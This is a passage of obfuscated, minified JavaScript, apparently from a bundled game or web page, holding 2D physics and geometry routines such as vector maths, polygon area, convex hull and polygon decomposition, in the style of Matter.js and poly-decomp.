_0x5423ce); break; case 'a': _0x4d8241['replaceItem'](_0x6d6f57['createSVGPathSegArcAbs'](_0x2a6dfc, _0x1ebd58, _0x3962c6['r1'], _0x3962c6['r2'], _0x3962c6['angle'], _0x3962c6['largeArcFlag'], _0x3962c6['sweepFlag']), _0x5423ce); break; case 'z': case 'Z': _0x2a6dfc = _0x5afc67, _0x1ebd58 = _0x127b0a; }'M' != _0x2968f5 && 'm' != _0x2968f5 || (_0x5afc67 = _0x2a6dfc, _0x127b0a = _0x1ebd58); } }; }, 0x7bed: _0x405c04 => { var _0x47b6f8 = {}; _0x405c04['exports'] = _0x47b6f8, _0x47b6f8['create'] = function (_0x438bf9, _0x57b157) { return { 'x': _0x438bf9 || 0x0, 'y': _0x57b157 || 0x0 }; }, _0x47b6f8['clone'] = function (_0xfd5033) { return { 'x': _0xfd5033['x'], 'y': _0xfd5033['y'] }; }, _0x47b6f8['magnitude'] = function (_0x294641) { return Math['sqrt'](_0x294641['x'] * _0x294641['x'] + _0x294641['y'] * _0x294641['y']); }, _0x47b6f8['magnitudeSquared'] = function (_0x1fbcc8) { return _0x1fbcc8['x'] * _0x1fbcc8['x'] + _0x1fbcc8['y'] * _0x1fbcc8['y']; }, _0x47b6f8['rotate'] = function (_0x1e4d35, _0x7d5b2b, _0x152d8b) { var _0x441401 = Math['cos'](_0x7d5b2b), _0x202ae4 = Math['sin'](_0x7d5b2b); _0x152d8b || (_0x152d8b = {}); var _0xbf0fd6 = _0x1e4d35['x'] * _0x441401 - _0x1e4d35['y'] * _0x202ae4; return _0x152d8b['y'] = _0x1e4d35['x'] * _0x202ae4 + _0x1e4d35['y'] * _0x441401, _0x152d8b['x'] = _0xbf0fd6, _0x152d8b; }, _0x47b6f8['rotateAbout'] = function (_0x12a587, _0x8cc7ce, _0x15f7de, _0x1c2d08) { var _0x27ef24 = Math['cos'](_0x8cc7ce), _0x5126e0 = Math['sin'](_0x8cc7ce); _0x1c2d08 || (_0x1c2d08 = {}); var _0xffb81 = _0x15f7de['x'] + ((_0x12a587['x'] - _0x15f7de['x']) * _0x27ef24 - (_0x12a587['y'] - _0x15f7de['y']) * _0x5126e0); return _0x1c2d08['y'] = _0x15f7de['y'] + ((_0x12a587['x'] - _0x15f7de['x']) * _0x5126e0 + (_0x12a587['y'] - _0x15f7de['y']) * _0x27ef24), _0x1c2d08['x'] = _0xffb81, _0x1c2d08; }, _0x47b6f8['normalise'] = function (_0x1e7c5e) { var _0x38f585 = _0x47b6f8['magnitude'](_0x1e7c5e); return 0x0 === _0x38f585 ? { 'x': 0x0, 'y': 0x0 } : { 'x': _0x1e7c5e['x'] / _0x38f585, 'y': _0x1e7c5e['y'] / _0x38f585 }; }, _0x47b6f8['dot'] = function (_0x5a7650, _0x20a567) { return _0x5a7650['x'] * _0x20a567['x'] + _0x5a7650['y'] * _0x20a567['y']; }, _0x47b6f8['cross'] = function (_0x5ea74c, _0xcf8615) { return _0x5ea74c['x'] * _0xcf8615['y'] - _0x5ea74c['y'] * _0xcf8615['x']; }, _0x47b6f8['cross3'] = function (_0x2e0b61, _0x1eb4e2, _0x367ff4) { return (_0x1eb4e2['x'] - _0x2e0b61['x']) * (_0x367ff4['y'] - _0x2e0b61['y']) - (_0x1eb4e2['y'] - _0x2e0b61['y']) * (_0x367ff4['x'] - _0x2e0b61['x']); }, _0x47b6f8['add'] = function (_0x1f4726, _0xf29afe, _0x102d70) { return _0x102d70 || (_0x102d70 = {}), _0x102d70['x'] = _0x1f4726['x'] + _0xf29afe['x'], _0x102d70['y'] = _0x1f4726['y'] + _0xf29afe['y'], _0x102d70; }, _0x47b6f8['sub'] = function (_0x4459ab, _0x3dc04c, _0x562218) { return _0x562218 || (_0x562218 = {}), _0x562218['x'] = _0x4459ab['x'] - _0x3dc04c['x'], _0x562218['y'] = _0x4459ab['y'] - _0x3dc04c['y'], _0x562218; }, _0x47b6f8['mult'] = function (_0x2b97e1, _0x228d40) { return { 'x': _0x2b97e1['x'] * _0x228d40, 'y': _0x2b97e1['y'] * _0x228d40 }; }, _0x47b6f8['div'] = function (_0x1e4ff5, _0x3ccc43) { return { 'x': _0x1e4ff5['x'] / _0x3ccc43, 'y': _0x1e4ff5['y'] / _0x3ccc43 }; }, _0x47b6f8['perp'] = function (_0x5a294d, _0x3595aa) { return { 'x': (_0x3595aa = !0x0 === _0x3595aa ? -0x1 : 0x1) * -_0x5a294d['y'], 'y': _0x3595aa * _0x5a294d['x'] }; }, _0x47b6f8['neg'] = function (_0x5b03b0) { return { 'x': -_0x5b03b0['x'], 'y': -_0x5b03b0['y'] }; }, _0x47b6f8['angle'] = function (_0x280fff, _0x208df2) { return Math['atan2'](_0x208df2['y'] - _0x280fff['y'], _0x208df2['x'] - _0x280fff['x']); }, _0x47b6f8['_temp'] = [_0x47b6f8['create'](), _0x47b6f8['create'](), _0x47b6f8['create'](), _0x47b6f8['create'](), _0x47b6f8['create'](), _0x47b6f8['create']()]; }, 0xa27e: (_0xa50c23, _0x8c204c, _0x1292ba) => { var _0x5cba59 = {}; _0xa50c23['exports'] = _0x5cba59; var _0x1ef56 = _0x1292ba(0x7bed), _0x1e8d54 = _0x1292ba(0xd09a); _0x5cba59['create'] = function (_0x3d2d4b, _0x2829bb) { for (var _0x1c6825 = [], _0x42c91a = 0x0; _0x42c91a < _0x3d2d4b['length']; _0x42c91a++) { var _0xb53113 = _0x3d2d4b[_0x42c91a], _0x3556a9 = { 'x': _0xb53113['x'], 'y': _0xb53113['y'], 'index': _0x42c91a, 'body': _0x2829bb, 'isInternal': !0x1 }; _0x1c6825['push'](_0x3556a9); } return _0x1c6825; }, _0x5cba59['fromPath'] = function (_0x2cd0da, _0x268fe4) { var _0x1caca5 = []; return _0x2cd0da['replace'](/L?\s*([-\d.e]+)[\s,]*([-\d.e]+)*/gi, function (_0x577a61, _0x1cce43, _0x347d97) { _0x1caca5['push']({ 'x': parseFloat(_0x1cce43), 'y': parseFloat(_0x347d97) }); }), _0x5cba59['create'](_0x1caca5, _0x268fe4); }, _0x5cba59['centre'] = function (_0x39d80d) { for (var _0x4041e7, _0x27e8ab, _0x4d7916, _0x2dd383 = _0x5cba59['area'](_0x39d80d, !0x0), _0x554255 = { 'x': 0x0, 'y': 0x0 }, _0x51f398 = 0x0; _0x51f398 < _0x39d80d['length']; _0x51f398++)_0x4d7916 = (_0x51f398 + 0x1) % _0x39d80d['length'], _0x4041e7 = _0x1ef56['cross'](_0x39d80d[_0x51f398], _0x39d80d[_0x4d7916]), _0x27e8ab = _0x1ef56['mult'](_0x1ef56['add'](_0x39d80d[_0x51f398], _0x39d80d[_0x4d7916]), _0x4041e7), _0x554255 = _0x1ef56['add'](_0x554255, _0x27e8ab); return _0x1ef56['div'](_0x554255, 0x6 * _0x2dd383); }, _0x5cba59['mean'] = function (_0x44881f) { for (var _0x19077b = { 'x': 0x0, 'y': 0x0 }, _0x60ec0b = 0x0; _0x60ec0b < _0x44881f['length']; _0x60ec0b++)_0x19077b['x'] += _0x44881f[_0x60ec0b]['x'], _0x19077b['y'] += _0x44881f[_0x60ec0b]['y']; return _0x1ef56['div'](_0x19077b, _0x44881f['length']); }, _0x5cba59['area'] = function (_0x1ec6ff, _0x2e308d) { for (var _0x46e162 = 0x0, _0x1e08a8 = _0x1ec6ff['length'] - 0x1, _0x1c51d4 = 0x0; _0x1c51d4 < _0x1ec6ff['length']; _0x1c51d4++)_0x46e162 += (_0x1ec6ff[_0x1e08a8]['x'] - _0x1ec6ff[_0x1c51d4]['x']) * (_0x1ec6ff[_0x1e08a8]['y'] + _0x1ec6ff[_0x1c51d4]['y']), _0x1e08a8 = _0x1c51d4; return _0x2e308d ? _0x46e162 / 0x2 : Math['abs'](_0x46e162) / 0x2; }, _0x5cba59['inertia'] = function (_0x3be61b, _0x57fdde) { for (var _0x30548c, _0x4db76f, _0x5183f2 = 0x0, _0x4decf2 = 0x0, _0x715af6 = _0x3be61b, _0x498ed5 = 0x0; _0x498ed5 < _0x715af6['length']; _0x498ed5++)_0x4db76f = (_0x498ed5 + 0x1) % _0x715af6['length'], _0x5183f2 += (_0x30548c = Math['abs'](_0x1ef56['cross'](_0x715af6[_0x4db76f], _0x715af6[_0x498ed5]))) * (_0x1ef56['dot'](_0x715af6[_0x4db76f], _0x715af6[_0x4db76f]) + _0x1ef56['dot'](_0x715af6[_0x4db76f], _0x715af6[_0x498ed5]) + _0x1ef56['dot'](_0x715af6[_0x498ed5], _0x715af6[_0x498ed5])), _0x4decf2 += _0x30548c; return _0x57fdde / 0x6 * (_0x5183f2 / _0x4decf2); }, _0x5cba59['translate'] = function (_0x25740a, _0x136262, _0x23296d) { _0x23296d = void 0x0 !== _0x23296d ? _0x23296d : 0x1; var _0x4505c5, _0x1bee0c = _0x25740a['length'], _0x5350d2 = _0x136262['x'] * _0x23296d, _0xb55893 = _0x136262['y'] * _0x23296d; for (_0x4505c5 = 0x0; _0x4505c5 < _0x1bee0c; _0x4505c5++)_0x25740a[_0x4505c5]['x'] += _0x5350d2, _0x25740a[_0x4505c5]['y'] += _0xb55893; return _0x25740a; }, _0x5cba59['rotate'] = function (_0x2f2109, _0x1b6873, _0x3fc192) { if (0x0 !== _0x1b6873) { var _0x10a660, _0x2398aa, _0x17021e, _0x318cd3, _0x4058e3 = Math['cos'](_0x1b6873), _0x381bc5 = Math['sin'](_0x1b6873), _0x57a925 = _0x3fc192['x'], _0x5697 = _0x3fc192['y'], _0x47ccb2 = _0x2f2109['length']; for (_0x318cd3 = 0x0; _0x318cd3 < _0x47ccb2; _0x318cd3++)_0x2398aa = (_0x10a660 = _0x2f2109[_0x318cd3])['x'] - _0x57a925, _0x17021e = _0x10a660['y'] - _0x5697, _0x10a660['x'] = _0x57a925 + (_0x2398aa * _0x4058e3 - _0x17021e * _0x381bc5), _0x10a660['y'] = _0x5697 + (_0x2398aa * _0x381bc5 + _0x17021e * _0x4058e3); return _0x2f2109; } }, _0x5cba59['contains'] = function (_0x42c778, _0x3f2112) { for (var _0x554316, _0x28b932 = _0x3f2112['x'], _0x14bbd6 = _0x3f2112['y'], _0x5e8256 = _0x42c778['length'], _0x4e8911 = _0x42c778[_0x5e8256 - 0x1], _0x2a4141 = 0x0; _0x2a4141 < _0x5e8256; _0x2a4141++) { if (_0x554316 = _0x42c778[_0x2a4141], (_0x28b932 - _0x4e8911['x']) * (_0x554316['y'] - _0x4e8911['y']) + (_0x14bbd6 - _0x4e8911['y']) * (_0x4e8911['x'] - _0x554316['x']) > 0x0) return !0x1; _0x4e8911 = _0x554316; } return !0x0; }, _0x5cba59['scale'] = function (_0x541dfb, _0x2a924b, _0x44743b, _0x4649d1) { if (0x1 === _0x2a924b && 0x1 === _0x44743b) return _0x541dfb; var _0x2dead8, _0x4b51eb; _0x4649d1 = _0x4649d1 || _0x5cba59['centre'](_0x541dfb); for (var _0x1e8f12 = 0x0; _0x1e8f12 < _0x541dfb['length']; _0x1e8f12++)_0x2dead8 = _0x541dfb[_0x1e8f12], _0x4b51eb = _0x1ef56['sub'](_0x2dead8, _0x4649d1), _0x541dfb[_0x1e8f12]['x'] = _0x4649d1['x'] + _0x4b51eb['x'] * _0x2a924b, _0x541dfb[_0x1e8f12]['y'] = _0x4649d1['y'] + _0x4b51eb['y'] * _0x44743b; return _0x541dfb; }, _0x5cba59['chamfer'] = function (_0x29c94b, _0x18a731, _0x38a4ec, _0x46ea05, _0x1351fd) { _0x18a731 = 'number' == typeof _0x18a731 ? [_0x18a731] : _0x18a731 || [0x8], _0x38a4ec = void 0x0 !== _0x38a4ec ? _0x38a4ec : -0x1, _0x46ea05 = _0x46ea05 || 0x2, _0x1351fd = _0x1351fd || 0xe; for (var _0xab8938 = [], _0x5f2bbe = 0x0; _0x5f2bbe < _0x29c94b['length']; _0x5f2bbe++) { var _0x169585 = _0x29c94b[_0x5f2bbe - 0x1 >= 0x0 ? _0x5f2bbe - 0x1 : _0x29c94b['length'] - 0x1], _0x521846 = _0x29c94b[_0x5f2bbe], _0x15fa79 = _0x29c94b[(_0x5f2bbe + 0x1) % _0x29c94b['length']], _0x184c72 = _0x18a731[_0x5f2bbe < _0x18a731['length'] ? _0x5f2bbe : _0x18a731['length'] - 0x1]; if (0x0 !== _0x184c72) { var _0x3a5c2a = _0x1ef56['normalise']({ 'x': _0x521846['y'] - _0x169585['y'], 'y': _0x169585['x'] - _0x521846['x'] }), _0x51417d = _0x1ef56['normalise']({ 'x': _0x15fa79['y'] - _0x521846['y'], 'y': _0x521846['x'] - _0x15fa79['x'] }), _0x4f357d = Math['sqrt'](0x2 * Math['pow'](_0x184c72, 0x2)), _0x52c93b = _0x1ef56['mult'](_0x1e8d54['clone'](_0x3a5c2a), _0x184c72), _0x3462fe = _0x1ef56['normalise'](_0x1ef56['mult'](_0x1ef56['add'](_0x3a5c2a, _0x51417d), 0.5)), _0x2c80af = _0x1ef56['sub'](_0x521846, _0x1ef56['mult'](_0x3462fe, _0x4f357d)), _0x12757d = _0x38a4ec; -0x1 === _0x38a4ec && (_0x12757d = 1.75 * Math['pow'](_0x184c72, 0.32)), (_0x12757d = _0x1e8d54['clamp'](_0x12757d, _0x46ea05, _0x1351fd)) % 0x2 == 0x1 && (_0x12757d += 0x1); for (var _0x4cc37b = Math['acos'](_0x1ef56['dot'](_0x3a5c2a, _0x51417d)) / _0x12757d, _0x250708 = 0x0; _0x250708 < _0x12757d; _0x250708++)_0xab8938['push'](_0x1ef56['add'](_0x1ef56['rotate'](_0x52c93b, _0x4cc37b * _0x250708), _0x2c80af)); } else _0xab8938['push'](_0x521846); } return _0xab8938; }, _0x5cba59['clockwiseSort'] = function (_0x286210) { var _0x2aa3f2 = _0x5cba59['mean'](_0x286210); return _0x286210['sort'](function (_0x43cc66, _0x4bbd43) { return _0x1ef56['angle'](_0x2aa3f2, _0x43cc66) - _0x1ef56['angle'](_0x2aa3f2, _0x4bbd43); }), _0x286210; }, _0x5cba59['isConvex'] = function (_0x2c6c51) { var _0x54970c, _0x22e2b8, _0x4b5982, _0x167329, _0x47026d = 0x0, _0x295cf1 = _0x2c6c51['length']; if (_0x295cf1 < 0x3) return null; for (_0x54970c = 0x0; _0x54970c < _0x295cf1; _0x54970c++)if (_0x4b5982 = (_0x54970c + 0x2) % _0x295cf1, _0x167329 = (_0x2c6c51[_0x22e2b8 = (_0x54970c + 0x1) % _0x295cf1]['x'] - _0x2c6c51[_0x54970c]['x']) * (_0x2c6c51[_0x4b5982]['y'] - _0x2c6c51[_0x22e2b8]['y']), (_0x167329 -= (_0x2c6c51[_0x22e2b8]['y'] - _0x2c6c51[_0x54970c]['y']) * (_0x2c6c51[_0x4b5982]['x'] - _0x2c6c51[_0x22e2b8]['x'])) < 0x0 ? _0x47026d |= 0x1 : _0x167329 > 0x0 && (_0x47026d |= 0x2), 0x3 === _0x47026d) return !0x1; return 0x0 !== _0x47026d || null; }, _0x5cba59['hull'] = function (_0x4bf8e2) { var _0x3c97b0, _0x3ef9c1, _0x40dfe9 = [], _0x300fa8 = []; for ((_0x4bf8e2 = _0x4bf8e2['slice'](0x0))['sort'](function (_0x16a77b, _0x152db9) { var _0xe3f874 = _0x16a77b['x'] - _0x152db9['x']; return 0x0 !== _0xe3f874 ? _0xe3f874 : _0x16a77b['y'] - _0x152db9['y']; }), _0x3ef9c1 = 0x0; _0x3ef9c1 < _0x4bf8e2['length']; _0x3ef9c1 += 0x1) { for (_0x3c97b0 = _0x4bf8e2[_0x3ef9c1]; _0x300fa8['length'] >= 0x2 && _0x1ef56['cross3'](_0x300fa8[_0x300fa8['length'] - 0x2], _0x300fa8[_0x300fa8['length'] - 0x1], _0x3c97b0) <= 0x0;)_0x300fa8['pop'](); _0x300fa8['push'](_0x3c97b0); } for (_0x3ef9c1 = _0x4bf8e2['length'] - 0x1; _0x3ef9c1 >= 0x0; _0x3ef9c1 -= 0x1) { for (_0x3c97b0 = _0x4bf8e2[_0x3ef9c1]; _0x40dfe9['length'] >= 0x2 && _0x1ef56['cross3'](_0x40dfe9[_0x40dfe9['length'] - 0x2], _0x40dfe9[_0x40dfe9['length'] - 0x1], _0x3c97b0) <= 0x0;)_0x40dfe9['pop'](); _0x40dfe9['push'](_0x3c97b0); } return _0x40dfe9['pop'](), _0x300fa8['pop'](), _0x40dfe9['concat'](_0x300fa8); }; }, 0xdaa5: _0x13039c => { function _0xa9d93a(_0x5136a6, _0x321df5, _0x18b19d) { _0x18b19d = _0x18b19d || 0x0; var _0x5d2223, _0x483e70, _0x9d3c20, _0x1e9fe1, _0x5e366c, _0x3fef10, _0x239612, _0x355414 = [0x0, 0x0]; return _0x5d2223 = _0x5136a6[0x1][0x1] - _0x5136a6[0x0][0x1], _0x483e70 = _0x5136a6[0x0][0x0] - _0x5136a6[0x1][0x0], _0x9d3c20 = _0x5d2223 * _0x5136a6[0x0][0x0] + _0x483e70 * _0x5136a6[0x0][0x1], _0x1e9fe1 = _0x321df5[0x1][0x1] - _0x321df5[0x0][0x1], _0x5e366c = _0x321df5[0x0][0x0] - _0x321df5[0x1][0x0], _0x3fef10 = _0x1e9fe1 * _0x321df5[0x0][0x0] + _0x5e366c * _0x321df5[0x0][0x1], _0xae40b2(_0x239612 = _0x5d2223 * _0x5e366c - _0x1e9fe1 * _0x483e70, 0x0, _0x18b19d) || (_0x355414[0x0] = (_0x5e366c * _0x9d3c20 - _0x483e70 * _0x3fef10) / _0x239612, _0x355414[0x1] = (_0x5d2223 * _0x3fef10 - _0x1e9fe1 * _0x9d3c20) / _0x239612), _0x355414; } function _0x1bbad7(_0xaf8531, _0x1d7b06, _0x333351, _0x20af90) { var _0x2daad9 = _0x1d7b06[0x0] - _0xaf8531[0x0], _0x261634 = _0x1d7b06[0x1] - _0xaf8531[0x1], _0x17d694 = _0x20af90[0x0] - _0x333351[0x0], _0x22c7c9 = _0x20af90[0x1] - _0x333351[0x1]; if (_0x17d694 * _0x261634 - _0x22c7c9 * _0x2daad9 == 0x0) return !0x1; var _0x30ef60 = (_0x2daad9 * (_0x333351[0x1] - _0xaf8531[0x1]) + _0x261634 * (_0xaf8531[0x0] - _0x333351[0x0])) / (_0x17d694 * _0x261634 - _0x22c7c9 * _0x2daad9), _0x41ecac = (_0x17d694 * (_0xaf8531[0x1] - _0x333351[0x1]) + _0x22c7c9 * (_0x333351[0x0] - _0xaf8531[0x0])) / (_0x22c7c9 * _0x2daad9 - _0x17d694 * _0x261634); return _0x30ef60 >= 0x0 && _0x30ef60 <= 0x1 && _0x41ecac >= 0x0 && _0x41ecac <= 0x1; } function _0x1081c1(_0x17d583, _0x2665cc, _0x570bb8) { return (_0x2665cc[0x0] - _0x17d583[0x0]) * (_0x570bb8[0x1] - _0x17d583[0x1]) - (_0x570bb8[0x0] - _0x17d583[0x0]) * (_0x2665cc[0x1] - _0x17d583[0x1]); } function _0x55a594(_0x1b1d58, _0x57904d, _0x35804e) { return _0x1081c1(_0x1b1d58, _0x57904d, _0x35804e) > 0x0; } function _0x314edf(_0x31e929, _0x435b6f, _0x5430e8) { return _0x1081c1(_0x31e929, _0x435b6f, _0x5430e8) >= 0x0; } function _0x117bda(_0xd08cc5, _0x4dba94, _0x32a6e7) { return _0x1081c1(_0xd08cc5, _0x4dba94, _0x32a6e7) < 0x0; } function _0x2cd026(_0x465ec7, _0x34234d, _0xcdbbf1) { return _0x1081c1(_0x465ec7, _0x34234d, _0xcdbbf1) <= 0x0; } _0x13039c['exports'] = { 'decomp': function (_0x4d39aa) { var _0x9e7eef = _0x17d7b7(_0x4d39aa); return _0x9e7eef['length'] > 0x0 ? _0x1e02ac(_0x4d39aa, _0x9e7eef) : [_0x4d39aa]; }, 'quickDecomp': function _0x43b56c(_0x4aaff4, _0x216361, _0x301088, _0x1e01ee, _0x45aa9e, _0x55f37e, _0x51412c) { _0x55f37e = _0x55f37e || 0x64, _0x51412c = _0x51412c || 0x0, _0x45aa9e = _0x45aa9e || 0x19, _0x216361 = void 0x0 !== _0x216361 ? _0x216361 : [], _0x301088 = _0x301088 || [], _0x1e01ee = _0x1e01ee || []; var _0x65bad5 = [0x0, 0x0], _0x84936d = [0x0, 0x0], _0x104dd8 = [0x0, 0x0], _0x47fdca = 0x0, _0x21096c = 0x0, _0x39054b = 0x0, _0x253daf = 0x0, _0x4e6778 = 0x0, _0x366d40 = 0x0, _0x1996cf = 0x0, _0x44b8f2 = [], _0x4ae6d7 = [], _0x5cdeaf = _0x4aaff4, _0x3cce5b = _0x4aaff4; if (_0x3cce5b['length'] < 0x3) return _0x216361; if (++_0x51412c > _0x55f37e) return _0x216361; for (var _0x4d0bdb = 0x0; _0x4d0bdb < _0x4aaff4['length']; ++_0x4d0bdb)if (_0x1dd4a2(_0x5cdeaf, _0x4d0bdb)) { _0x301088['push'](_0x5cdeaf[_0x4d0bdb]), _0x47fdca = _0x21096c = Number['MAX_VALUE']; for (var _0x19e997 = 0x0; _0x19e997 < _0x4aaff4['length']; ++_0x19e997)_0x55a594(_0x3f970d(_0x5cdeaf, _0x4d0bdb - 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997)) && _0x2cd026(_0x3f970d(_0x5cdeaf, _0x4d0bdb - 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997 - 0x1)) && (_0x104dd8 = _0x26e7b2(_0x3f970d(_0x5cdeaf, _0x4d0bdb - 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997), _0x3f970d(_0x5cdeaf, _0x19e997 - 0x1)), _0x117bda(_0x3f970d(_0x5cdeaf, _0x4d0bdb + 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x104dd8) && (_0x39054b = _0x4c87c3(_0x5cdeaf[_0x4d0bdb], _0x104dd8)) < _0x21096c && (_0x21096c = _0x39054b, _0x84936d = _0x104dd8, _0x366d40 = _0x19e997)), _0x55a594(_0x3f970d(_0x5cdeaf, _0x4d0bdb + 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997 + 0x1)) && _0x2cd026(_0x3f970d(_0x5cdeaf, _0x4d0bdb + 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997)) && (_0x104dd8 = _0x26e7b2(_0x3f970d(_0x5cdeaf, _0x4d0bdb + 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997), _0x3f970d(_0x5cdeaf, _0x19e997 + 0x1)), _0x55a594(_0x3f970d(_0x5cdeaf, _0x4d0bdb - 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x104dd8) && (_0x39054b = _0x4c87c3(_0x5cdeaf[_0x4d0bdb], _0x104dd8)) < _0x47fdca && (_0x47fdca = _0x39054b, _0x65bad5 = _0x104dd8, _0x4e6778 = _0x19e997)); if (_0x366d40 === (_0x4e6778 + 0x1) % _0x4aaff4['length']) _0x104dd8[0x0] = (_0x84936d[0x0] + _0x65bad5[0x0]) / 0x2, _0x104dd8[0x1] = (_0x84936d[0x1] + _0x65bad5[0x1]) / 0x2, _0x1e01ee['push'](_0x104dd8), _0x4d0bdb < _0x4e6778 ? (_0x55449f(_0x44b8f2, _0x5cdeaf, _0x4d0bdb, _0x4e6778 + 0x1), _0x44b8f2['push'](_0x104dd8), _0x4ae6d7['push'](_0x104dd8), 0x0 !== _0x366d40 && _0x55449f(_0x4ae6d7, _0x5cdeaf, _0x366d40, _0x5cdeaf['length']), _0x55449f(_0x4ae6d7, _0x5cdeaf, 0x0, _0x4d0bdb + 0x1)) : (0x0 !== _0x4d0bdb && _0x55449f(_0x44b8f2, _0x5cdeaf, _0x4d0bdb, _0x5cdeaf['length']), _0x55449f(_0x44b8f2, _0x5cdeaf, 0x0, _0x4e6778 + 0x1), _0x44b8f2['push'](_0x104dd8), _0x4ae6d7['push'](_0x104dd8), _0x55449f(_0x4ae6d7, _0x5cdeaf, _0x366d40, _0x4d0bdb + 0x1)); else { if (_0x366d40 > _0x4e6778 && (_0x4e6778 += _0x4aaff4['length']), _0x253daf = Number['MAX_VALUE'], _0x4e6778 < _0x366d40) return _0x216361; for (_0x19e997 = _0x366d40; _0x19e997 <= _0x4e6778; ++_0x19e997)_0x314edf(_0x3f970d(_0x5cdeaf, _0x4d0bdb - 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997)) && _0x2cd026(_0x3f970d(_0x5cdeaf, _0x4d0bdb + 0x1), _0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997)) && (_0x39054b = _0x4c87c3(_0x3f970d(_0x5cdeaf, _0x4d0bdb), _0x3f970d(_0x5cdeaf, _0x19e997))) < _0x253daf && _0x3d6ec2(_0x5cdeaf, _0x4d0bdb, _0x19e997) && (_0x253daf = _0x39054b, _0x1996cf = _0x19e997 % _0x4aaff4['length']); _0x4d0bdb < _0x1996cf ? (_0x55449f(_0x44b8f2, _0x5cdeaf, _0x4d0bdb, _0x1996cf + 0x1), 0x0 !== _0x1996cf && _0x55449f(_0x4ae6d7, _0x5cdeaf, _0x1996cf, _0x3cce5b['length']), _0x55449f(_0x4ae6d7, _0x5cdeaf, 0x0, _0x4d0bdb + 0x1)) : (0x0 !== _0x4d0bdb && _0x55449f(_0x44b8f2, _0x5cdeaf, _0x4d0bdb, _0x3cce5b['length']), _0x55449f(_0x44b8f2, _0x5cdeaf, 0x0, _0x1996cf + 0x1), _0x55449f(_0x4ae6d7, _0x5cdeaf, _0x1996cf, _0x4d0bdb + 0x1)); } return _0x44b8f2['length'] < _0x4ae6d7['length'] ? (_0x43b56c(_0x44b8f2, _0x216361, _0x301088, _0x1e01ee, _0x45aa9e, _0x55f37e, _0x51412c), _0x43b56c(_0x4ae6d7, _0x216361, _0x301088, _0x1e01ee, _0x45aa9e, _0x55f37e, _0x51412c)) : (_0x43b56c(_0x4ae6d7, _0x216361, _0x301088, _0x1e01ee, _0x45aa9e, _0x55f37e, _0x51412c), _0x43b56c(_0x44b8f2, _0x216361, _0x301088, _0x1e01ee, _0x45aa9e, _0x55f37e, _0x51412c)), _0x216361; } return _0x216361['push'](_0x4aaff4), _0x216361; }, 'isSimple': function (_0x23335b) { var _0x4ca6ce, _0x2e77fe = _0x23335b; for (_0x4ca6ce = 0x0; _0x4ca6ce < _0x2e77fe['length'] - 0x1; _0x4ca6ce++)for (var _0x51b76f = 0x0; _0x51b76f < _0x4ca6ce - 0x1; _0x51b76f++)if (_0x1bbad7(_0x2e77fe[_0x4ca6ce], _0x2e77fe[_0x4ca6ce + 0x1], _0x2e77fe[_0x51b76f], _0x2e77fe[_0x51b76f + 0x1])) return !0x1; for (_0x4ca6ce = 0x1; _0x4ca6ce < _0x2e77fe['length'] - 0x2; _0x4ca6ce++)if (_0x1bbad7(_0x2e77fe[0x0], _0x2e77fe[_0x2e77fe['length'] - 0x1], _0x2e77fe[_0x4ca6ce], _0x2e77fe[_0x4ca6ce + 0x1])) return !0x1; return !0x0; }, 'removeCollinearPoints': function (_0x5251a0, _0x57ef8f) { for (var _0x141bbd = 0x0, _0x1189e3 = _0x5251a0['length'] - 0x1; _0x5251a0['length'] > 0x3 && _0x1189e3 >= 0x0; --_0x1189e3)_0x40cd4c(_0x3f970d(_0x5251a0, _0x1189e3 - 0x1), _0x3f970d(_0x5251a0, _0x1189e3), _0x3f970d(_0x5251a0, _0x1189e3 + 0x1), _0x57ef8f) && (_0x5251a0['splice'](_0x1189e3 % _0x5251a0['length'], 0x1), _0x141bbd++); return _0x141bbd; }, 'removeDuplicatePoints': function (_0x1fadf8, _0x1b970d) { for (var _0x41befd = _0x1fadf8['length'] - 0x1; _0x41befd >= 0x1; --_0x41befd)for (var _0x23a5db = _0x1fadf8[_0x41befd], _0x859ab4 = _0x41befd - 0x1; _0x859ab4 >= 0x0; --_0x859ab4)_0x2239b6(_0x23a5db, _0x1fadf8[_0x859ab4], _0x1b970d) && _0x1fadf8['splice'](_0x41befd, 0x1); }, 'makeCCW': function (_0xd05903) { for (var _0x22c80b = 0x0, _0x172c20 = _0xd05903, _0x3fa7a6 = 0x1; _0x3fa7a6 < _0xd05903['length']; ++_0x3fa7a6)(_0x172c20[_0x3fa7a6][0x1] < _0x172c20[_0x22c80b][0x1] || _0x172c20[_0x3fa7a6][0x1] === _0x172c20[_0x22c80b][0x1] && _0x172c20[_0x3fa7a6][0x0] > _0x172c20[_0x22c80b][0x0]) && (_0x22c80b = _0x3fa7a6); return !_0x55a594(_0x3f970d(_0xd05903, _0x22c80b - 0x1), _0x3f970d(_0xd05903, _0x22c80b), _0x3f970d(_0xd05903, _0x22c80b + 0x1)) && (function (_0xae4e22) { for (var _0x349c61 = [], _0x242eb8 = _0xae4e22['length'], _0x1f04ce = 0x0; _0x1f04ce !== _0x242eb8; _0x1f04ce++)_0x349c61['push'](_0xae4e22['pop']()); for (_0x1f04ce = 0x0; _0x1f04ce !== _0x242eb8; _0x1f04ce++)_0xae4e22[_0x1f04ce] = _0x349c61[_0x1f04ce]; }(_0xd05903), !0x0); } }; var _0x5a840f = [], _0x1aba00 = []; function _0x40cd4c(_0x4c0d99, _0x1b2a24, _0x522428, _0x18bba4) { if (_0x18bba4) { var _0xc6dd5a = _0x5a840f, _0x2a87f7 = _0x1aba00; _0xc6dd5a[0x0] = _0x1b2a24[0x0] - _0x4c0d99[0x0], _0xc6dd5a[0x1] = _0x1b2a24[0x1] - _0x4c0d99[0x1], _0x2a87f7[0x0] = _0x522428[0x0] - _0x1b2a24[0x0], 